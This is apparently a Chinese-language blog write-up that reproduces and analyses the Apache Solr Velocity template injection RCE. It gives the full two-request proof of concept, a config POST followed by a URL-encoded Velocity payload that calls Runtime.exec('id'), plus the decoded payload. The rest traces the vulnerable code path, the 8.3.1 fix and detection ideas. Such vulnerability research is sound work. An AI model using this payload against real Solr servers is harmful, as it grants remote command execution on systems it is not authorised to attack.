环境搭建
下载受影响版本的solr,这里依然选择v8.1.0,这里注意除了添加solr的jar还需要添加velocity的(源码的化可以让IDEA从maven上下源码):
同样的方法启动项目
1 | anemone@ANEMONE-ASUS:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0 |
复现
0x00 检查core是否允许velocity
检查{core}/conf/solrconfig.xml
中是否允许solr.VelocityResponseWriter,具体来说,检查是否有如下配置:
1 | <config> |
如果没有需要加上,并且重启solr
0x01 设置params.resource.loader.enabled=true
设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true,即允许在Solr请求参数中允许模板:
1 | POST /solr/tika/config HTTP/1.1 |
服务返回200并且观察到${solr_home}/example/example-DIH/solr/tika/conf
下出现configoverlay.json
表示设置成功。
0x02 通过Velocity模板注入进行RCE
1 | GET /solr/tika/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 |
返回包中看到命令执行结果:
Velocity RCE方法
urldecode一下,可以看到velocity进行RCE的payload,留着以后可能有用:
1 | #set($x='') |
影响范围
Solr<=8.2.0 且core允许velocity模板。
漏洞分析
/solr/{core}/config
还是跟上次一样,断点下在org.apache.solr.servlet.HttpSolrCall#call:519这里,调试第一个请求,还是通过如下调用栈,交给handler处理请求:
1 | org.apache.solr.servlet.HttpSolrCall#call:542 |
可以看到,这此处理的handler是SolrConfigHandler,其将接受的post参数创建为command对象(129行),然后调用它的handlePOST()方法:
handlePOST()方法如下,其获取command的操作,以及需要覆盖的原配置,调Command#handleCommands:
Command#handleCommands(ops, overlay),其是一个switch-case结构,这里走的是默认分支,然后调用Command#updateNamedPlugin更新之前的配置(overlay变量),再将配置保存到zk或者本地:
1 | private void handleCommands(List<CommandOperation> ops, ConfigOverlay overlay) throws IOException { |
28行(实际代码504行)会将配置保存到本地,也就是{core}/conf/configoverlay.json
文件了。
那么总结一下调用栈就是:
/solr/{core}/select
这个API原先应该是数据库查询用的,但现在由于允许了执行参数中指定的velocity,造成了SSTI,我们重新看一下org.apache.solr.servlet.HttpSolrCall#call方法
1 | public Action call() throws IOException { |
引发SSTI的关键在于第26行(源程序第556行),其调用了HttpSolrCall#getResponseWriter,获取到VelocityResponseWriter,和30行(源程序558行),其会通过HttpSolrCall#writeResponse将Request中参数渲染到页面。
先看HttpSolrCall#getResponseWriter:
逻辑很简单,就是从参数wt
中获取模板,然后返回对应模板——注意到PoC中的wt=velocity
再看HttpSolrCall#writeResponse:
其调用了QueryResponseWriterUtil#writeQueryResponse(),将solrReq,solrRsp写成HTTP Response,ct是content-type。
HttpSolrCall#writeResponse()调用QueryResponseWriterUtil#writeQueryResponse(),先生产一个OutputStreamWriter,然后用responseWriter写入内容:
再跟进去就到了VelocityResponseWriter#write:
VelocityResponseWriter#createEngine
在VelocityResponseWriter#createEngine中,如果paramsResourceLoaderEnabled
,那么params.resource.loader.instance=new SolrParamResourceLoader(request)
,如果solrResourceLoaderEnabled
,那么solr.resource.loader.instance=solrResourceLader
先看第一个if——SolrParamResourceLoader(request)
这个构造函数,其会将请求中的v.template
开头的参数名截取剩下的部分+“.vm”作为key——注意到PoC中的v.template.custom=%23set($x=%27%27)...
,截取后得到custom
+.vm
=custom.vm
,而请求中参数内容作为template,因此由于这个而参数时攻击者可以控制的——例如在PoC中,将内容设置为了%23set($x=%27%27)...
,因此造成SSTI:
再看第二个if——SolrVelocityResourceLoader()
其任务是加载一个有velocity classpath的ResourceLoader:
VelocityResponseWriter#getTemplate
回到VelocityResponseWriter#write,在VelocityResponseWriter#getTemplate时,会从请求v.template参数中获取模板的名称,即PoC中的v.template=custom
,再走到engine.getTemplate(templateName + TEMPLATE_EXTENSION)
获取template,即前面设置的custom.vm
:
模板解释发生在org.apache.velocity.Template#merge(Context, Writer)
,后面就是Velocity模板解释逻辑了,不再跟。
总结一下调用栈:
1 | doFilter:343, SolrDispatchFilter (org.apache.solr.servlet) |
修复方式
下载v8.3.1的solr,发送PoC后可以看到报错了:
从报错内容上看,solr没获取到custom.vm模板,那再参考之前分析,应该是VelocityResponseWriter#createEngine做了修改,但是调试后发现这里并没修改,只是两个if判断都为false了,paramsResourceLoaderEnabled和solrResourceLoaderEnabled都是false:
经过调试,可以找到VelocityResponseWriter的构造调用栈:
1 | init:110, VelocityResponseWriter (org.apache.solr.response) |
在init()中可以看到enabled的值取决于PARAMS_RESOURCE_LOADER_ENABLED
和SOLR_RESOURCE_LOADER_ENABLED
,注意这里的获取方式:
对比下面的v8.3.1版本:
Boolean.getBoolean()
是从系统变量里面拿参数,所以PoC的第一个包(0x01步)的设置没有用。即官方修复方案选择在PoC的第一步修复,即加载配置不从solr中加载而是从系统配置中加载,以此导致第二步中的模板不可控,PoC失效。
检测方式
因为涉及的变量和条件太多了,感觉白盒即使用污点传播也很难发现bug,另外,如果要用污点传播,最好能加上反向传播,这样才能识别官方的修复方案。
黑盒检测的话就看包发的那几个变量就可以了。
总结
又补上了一个史前的坑,这次solr的漏洞出发过程比较复杂,导致白盒很难检测,日后可以思考如何解决这一类漏洞。
相关链接
- 漏洞分析 - Apache Solr 模版注入漏洞(RCE) ,https://xz.aliyun.com/t/6700
- 详细分析Solr的CVE-2019-0193以及velocity模板注入新洞, https://mp.weixin.qq.com/s/gl35WFkxhAbuw7BNQa1FiQ
- Raw Poc,https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt